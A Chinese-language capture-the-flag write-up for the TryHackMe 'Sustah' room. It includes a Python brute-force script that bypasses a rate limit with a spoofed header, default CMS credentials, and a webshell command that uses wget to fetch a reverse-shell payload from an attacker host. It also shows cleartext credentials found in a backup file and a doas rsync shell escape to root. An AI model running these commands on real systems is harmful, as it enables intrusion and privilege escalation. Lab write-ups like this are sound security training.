URL : https://tryhackme.com/room/sustah

IP : 10.10.252.122

Recon

  • 掃 Portrustscan -a 10.10.252.122 -r 1-65535nmap -A -p22,80,8085 10.10.252.122-
  • gunicorn 20.0.4觀察首頁-
  • 啥都ㄇ有
  • 掃目錄
  • 也沒東西觀察 8085 port-
  • 看起來像是幸運轉盤
  • 掃目錄
  • 有一個 ping 他只會回 pong

爆數字

  • 下面有一個猜數字遊戲
  • 他說我有 0.004% 的勝率
  • 先測一下能不能爆破
from bs4 import BeautifulSoup
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://10.10.252.122:8085',
    'Connection': 'keep-alive',
    'Referer': 'http://10.10.252.122:8085/home',
    'Upgrade-Insecure-Requests': '1',
}

data = {
  'number': '123'
}

for i in range(100):
    response = requests.post('http://10.10.252.122:8085/home', headers=headers, data=data)
    soup = BeautifulSoup(response.text,'html.parser')
    try:
        print(soup.find('h3').text)
    except:
        print(soup)
  • 發現次數過多他會噴{"error":"rate limit execeeded"}
  • 試了很多次發現- 帶 ‘X-Remote-Addr’ : ‘127.0.0.1’
  • 就不會噴錯了計算一下- 1/(0.004%) = 25000
  • 所以猜測密碼在這之間
  • 寫腳本來爆一下
from bs4 import BeautifulSoup
import requests
from multiprocessing import Process, Pool

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://10.10.252.122:8085',
    'Connection': 'keep-alive',
    'Referer': 'http://10.10.252.122:8085/home',
    'Upgrade-Insecure-Requests': '1',
    'X-Remote-Addr' : '127.0.0.1'
}

l = [i for i in range(25000)]

def meow(num):
    data = {
        'number': num
    }

    response = requests.post('http://10.10.252.122:8085/home', headers=headers, data=data)
    soup = BeautifulSoup(response.text,'html.parser')
    try:
        s = soup.find('h3').text 
        if 'Oh no!' not in s:
            print(num,s)
    except:
        print(soup , response.status_code)
p = Pool(200)
p.map(meow,l)
  • 幾秒鐘就爆出來ㄌ
  • 10921他回應我這個 /YouGotTh3P@th/- 加到 80 port 的 Path 上面會出現一個 CMS-

CMS

  • 發現他是 Mara CMS
  • 預設可以用 admin / changeme 進行登入登入完還要我趕快改密碼- 查詢相關 Exploit- https://www.exploit-db.com/exploits/48780
  • 目測是可以直接傳 webshell那就給他直接傳下去ㄅ- 還真的可以- http://10.10.252.122/YouGotTh3P@th/img/webshell.php?A=wget 10.13.21.55:8000/s -O /tmp/s戳 reverse shell

提權

  • python3 -c "import pty;pty.spawn('/bin/bash')"
  • 試著用 LSEbash lse.sh -l1
  • 看不出什麼東西 QQ發現 find 指令被封鎖 QWQ- 提示說去找備份檔案
  • 網路上看到兩種解法tar cf - $PWD 2>/dev/null | tar tvf - | grep backupdu -a 2>/dev/null | grep backup- 快就找到了 /usr/backups- 觀察發現有一個隱藏檔 .bak.passwd-
  • 解開來看獲得帳號密碼- kiran / trythispasswordforuserkiran透過 su 切過去- 取得 User Flag-

二次提權

  • 起手式 sudo -l使用豌豆-
  • 發現有一個 doas 酷指令,可以不用 suid 或 sudo去 GTFOBins 尋找 rsync to shell- https://gtfobins.github.io/gtfobins/rsync/#suid
  • doas rsync -e 'sh -p -c "sh 0&2"' 127.0.0.1:/dev/null
  • 成功提權取得 Root Flag-